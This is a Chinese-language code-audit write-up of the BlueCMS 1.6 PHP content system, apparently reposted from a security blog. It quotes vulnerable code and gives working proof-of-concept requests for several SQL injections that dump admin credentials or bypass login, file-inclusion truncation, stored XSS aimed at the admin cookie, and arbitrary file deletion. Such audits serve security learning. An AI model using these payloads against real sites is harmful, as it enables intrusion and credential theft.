php代码审计之bluecms – 作者:yanmie

代码审计

一、审计方法

审计方法:

定位敏感关键字,回溯参数传递过程

定位敏感功能点,通读功能代码 (黑盒+白盒)

系统重装

文件上传

文件管理功能

登录认证

密码找回

订单支付

全文代码通读审计(index.php 跟踪调试)

实用工具:

seay 代码审计

rips

xdebug

二、Bluecms审计

2.0 审计环境

phpstudy

php5.2

bluecms1.6 sp1 (安装就不说了)

seay代码审计系统

2.1 ad_js.php sql注入漏洞

seay自动审计

image-20210217120104013

ad_js.php疑似存在 sql注入漏洞

image-20210217120448442
require_once dirname(__FILE__) . '/include/common.inc.php';

这里包含了网站的配置文件,且配置文件中有统一配置

if(!get_magic_quotes_gpc())
{
    $_POST = deep_addslashes($_POST);
    $_GET = deep_addslashes($_GET);
    $_COOKIES = deep_addslashes($_COOKIES);
    $_REQUEST = deep_addslashes($_REQUEST);
}

对$*post、$*get、$*cookies和$*request统一进行gpc处理,对得到的参数转移特定的字符。

但是 ad_js.php 并没有使用单引号,所以可以直接绕过。

查看getone()函数无过滤:

function getone($sql, $type=MYSQL_ASSOC){
        $query = $this->query($sql,$this->linkid);
        $row = mysql_fetch_array($query, $type);
        return $row;
    }

这里确实存在数字型注入。

image-20210217120834716

可根据页面回显,

image-20210217120923694

成功回显 7 的位置。

poc:

http://www.blue.com/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,group_concat(admin_name,0x7e,pwd) from blue_admin--+

image-20210217123345760

2.2 comment.php sql注入漏洞

image-20210217123732625

include/common.fun.php:

/**
  *
  * 获取用户IP
  *
  */
function getip()
{
    if (getenv('HTTP_CLIENT_IP'))
    {
        $ip = getenv('HTTP_CLIENT_IP'); 
    }
    elseif (getenv('HTTP_X_FORWARDED_FOR')) 
    { //获取客户端用代理服务器访问时的真实ip 地址
        $ip = getenv('HTTP_X_FORWARDED_FOR');
    }
    elseif (getenv('HTTP_X_FORWARDED')) 
    { 
        $ip = getenv('HTTP_X_FORWARDED');
    }
    elseif (getenv('HTTP_FORWARDED_FOR'))
    {
        $ip = getenv('HTTP_FORWARDED_FOR'); 
    }
    elseif (getenv('HTTP_FORWARDED'))
    {
        $ip = getenv('HTTP_FORWARDED');
    }
    else
    { 
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    return $ip;
}

配置文件中对$*post、$*get、$*cookies和$*request统一进行gpc处理,但是遗漏了$_SERVER。而且网站恰恰通过该变量获取ip地址,因此我们就可以对ip通过client-ip或x-forwarded-for等进行伪造。

phpstorm中快捷鍵ctrl+shift+F在項目中搜索在哪調用了getip函数。

comment.php中调用,

$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) 
            VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";

$content进行转移避免 xss,

$content = !empty($_POST['comment']) ? htmlspecialchars($_POST['comment']) : '';

对其他参数进行gpc转译和字符的intval强制转换。

可这个getip函数就出了问题,没有过滤。那么我们就可以伪造 ip 造成sql注入了,

测试评论功能正常,

image-20210217130206619

我们可以修改源码让其将执行的sql 语句执行出来,然后结束程序。

image-20210217130251250

可以看到可成功伪造 ip

得到sql语句

INSERT INTO blue_comment (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) VALUES ('', '1', '1', '1', '6', '123', '1613538389', '1.1.1.1,'1')

image-20210217130425682

那么我们在伪造 ip 的 评论处构造 sql语句,

poc:

X-Forwarded-For: 1.1.1.1','1'), ('', '1', '1', '1', '6', (select group_concat(admin_name,":",pwd) from blue_admin), '1613538242', '1.1.1.1

发布评论成功

image-20210217131008151

成功注入

image-20210217131029568

2.3 文件包含漏洞

image-20210217131249998

user.php750行

elseif ($act == 'pay'){
 	include 'data/pay.cache.php';
 	$price = $_POST['price'];
 	$id = $_POST['id'];
 	$name = $_POST['name'];
 	if (empty($_POST['pay'])) {
 		showmsg('对不起,您没有选择支付方式');
 	}
 	include 'include/payment/'.$_POST['pay']."/index.php";
 }

分析代码,我们发现$_POST[‘pay’]并没有做多余的安全检测,直接进行拼接,前文中说道,对post方法进行了重写,会对%00进行转译,所以利用%00进行截断是不行的。

在这里说一下各个截断的条件吧

00截断(需要 php版本小于 5.3.8 以及 magic_quotes_gpc = Off )

点号截断(只适用于windows)(php版本 5.2.17、 magic_quotes_gpc = On )
index.php?file=phpinfo.php...........................................................................................................................................................................................................................(本次测试长度需要大于269)

./截断 (php版本 5.2.17、 magic_quotes_gpc = On )
index.php?file=phpinfo.php././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././. /././././(本次测试长度需要大于269)

应该是我本地环境配置原因,没复现成功,

后续可以上传头像,进行文件包含写shell.

2.4 用户注册xss 漏洞

这次不用Seay挖xss漏洞,我们通过关键功能测试来审计xss漏洞。 在后台->会员管理->会员列表处,管理员是可以查看会员信息的,要是此处信息能从前台插入xss代码,就能盗取管理员cookie。

来到前台会员注册处,尝试注册一个用户,可以看到可控的有用户名,邮箱,密码一般不考虑。

提交注册,抓包具体分析一下,可以看到走的是user.php的do_reg方法。

image-20210217145213642

elseif($act == 'do_reg'){
	$user_name 		=	!empty($_POST['user_name']) ? trim($_POST['user_name']) : '';
	$pwd       		= 	!empty($_POST['pwd']) ? trim($_POST['pwd']) : '';
	$pwd1 	   		= 	!empty($_POST['pwd1']) ? trim($_POST['pwd1']) : '';
	$email     		= 	!empty($_POST['email']) ? trim($_POST['email']) : '';
	$safecode  		= 	!empty($_POST['safecode']) ? trim($_POST['safecode']) : '';
	$from = !empty($from) ? base64_decode($from) : 'user.php';

	if(strlen($user_name) < 4 || strlen($user_name) > 16){
		showmsg('用户名字符长度不符');
	}
	if(strlen($pwd) < 6){
		showmsg('密码不能少于6个字符');
	}
	if($pwd != $pwd1){
		showmsg('两次输入密码不一致');
	}
	if(strtolower($safecode) != strtolower($_SESSION['safecode'])){
		showmsg('验证码错误');
	}
	if($db->getone("SELECT * FROM ".table('user')." WHERE user_name='$user_name'")){
		showmsg('该用户名已存在');
	}
	if($db->getone("SELECT * FROM ".table('admin')." WHERE admin_name='$user_name'")){
		showmsg('该用户名已存在');
	}
	$sql = "INSERT INTO ".table('user')." (user_id, user_name, pwd, email, reg_time, last_login_time) VALUES ('', '$user_name', md5('$pwd'), '$email', '$timestamp', '$timestamp')";
	if(!$db->query($sql)){
		showmsg('很遗憾,注册中出错啦');
	}else{
		$_SESSION['user_id'] = $db->insert_id();
		$_SESSION['user_name'] = $user_name;
		update_user_info($_SESSION['user_name']);
		setcookie('BLUE[user_id]', $_SESSION['user_id'], time()+3600, $cookiepath, $cookiedomain);
		setcookie('BLUE[user_name]', $user_name, time()+3600, $cookiepath, $cookiedomain);
		setcookie('BLUE[user_pwd]', md5(md5($pwd).$_CFG['cookie_hash']), time()+3600, $cookiepath, $cookiedomain);
		if(defined('UC_API') && @include_once(BLUE_ROOT.'uc_client/client.php'))
		{
		$uid = uc_user_register($user_name, $pwd, $email);
		if($uid <= 0)
		{
			if($uid == -1)
			{
				showmsg('用户名不合法!');
			}
			elseif($uid == -2)
			{
				showmsg('包含不允许注册的词语!');
			}
			elseif($uid == -3)
			{
				showmsg('你指定的用户名 '.$user_name.' 已存在,请使用别的用户名!');
			}
			elseif($uid == -4){
				showmsg('您使用的Email格式不对!');
			}
			elseif($uid == -5)
			{
				showmsg('你使用的Email 不允许注册!');
			}
			else
			{
				showmsg('注册失败!');
			}
		}
		else
		{
			$ucsynlogin = uc_user_synlogin($uid);
			echo $ucsynlogin;
		}
		}
		$_SESSION['last_reg'] = $timestamp;
		showmsg('恭喜您注册成功,现在将转向...', $from);
	}

这里用户名长度不大于 16 ,邮箱前端验证。

我们选择邮箱处 xss.

image-20210217145956359

成功 xss,

再去看看管理后台,成功弹窗

image-20210217150044291

2.5 用户注册 sql注入

现在本地调一下代码

image-20210217152256880

继续使用 email

image-20210217151611235

可以看到满足 宽字节注入的条件,因为配置文件重写了 post 方法,所以注入的时候要注意单引号。

构造 paylaod

referer=&user_name=user03&pwd=user03&pwd1=user03&email=user03%401.com%df',1,1),(100, 0x757365723034, md5(123456), (select concat(admin_name,pwd) from blue_admin),1,1)#&safecode=xcpn&from=&act=do_reg

image-20210217154338028

image-20210217154429840

2.6 后台登录 sql 注入

image-20210217154620878

文件/admin/login.php方法 do_login

elseif($act == 'do_login'){
 	$admin_name = isset($_POST['admin_name']) ? trim($_POST['admin_name']) : '';
 	$admin_pwd = isset($_POST['admin_pwd']) ? trim($_POST['admin_pwd']) : '';
 	$remember = isset($_POST) ? intval($_POST['rememberme']) : 0;
 	if($admin_name == ''){
 		showmsg('用户名不能为空');
 	}
 	if($admin_pwd == ''){
 		showmsg('用户密码不能为空');
 	}
 	if(check_admin($admin_name, $admin_pwd)){
 		update_admin_info($admin_name);
 		if($remember == 1){
 			setcookie('Blue[admin_id]', $_SESSION['admin_id'], time()+86400);
 			setcookie('Blue[admin_name]', $admin_name, time()+86400);
			setcookie('Blue[admin_pwd]', md5(md5($admin_pwd).$_CFG['cookie_hash']), time()+86400);
 		}
 	}else{
 		showmsg('您输入的用户名和密码有误');
 	}
 	showmsg('欢迎您 '.$admin_name.' 回来,现在将转向管理中心...', 'index.php');
 }

check_admin:

function check_admin($name, $pwd)
{
	global $db;
	$row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')");
 	if($row['num'] > 0)
 	{
 		return true;
 	}
 	else
 	{
 		return false;
 	}
}

宽字节注入,

admin_name=admin%df'or 1=1#&admin_pwd=sssss&submit=%B5%C7%C2%BC&act=do_login

image-20210217160245502

2.7 任意文件删除

image-20210217161207483

user.php792 行。

elseif($act == 'edit_user_info')
if (!empty($_POST['face_pic1'])){
        if (strpos($_POST['face_pic1'], 'http://') != false && strpos($_POST['face_pic1'], 'https://') != false){
           showmsg('只支持本站相对路径地址');
         }
        else{
           $face_pic = trim($_POST['face_pic1']);
        }
    }else{
		if(file_exists(BLUE_ROOT.$_POST['face_pic3'])){
			@unlink(BLUE_ROOT.$_POST['face_pic3']);
		}
	}

要使得face_pic1为空,

BLUE_ROOT 问当前文件所在路径。

require_once dirname(__FILE__) . '/include/common.inc.php';

# ommon.inc.php
define('BLUE_ROOT',str_replace("\\","/",substr(dirname(__FILE__),0,-7)));

此功能点在用户修改信息处,抓包,填入face_pic3 得值即可删除任意文件。

image-20210217162229379

来源:freebuf.com 2021-02-23 10:33:57 by: yanmie

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论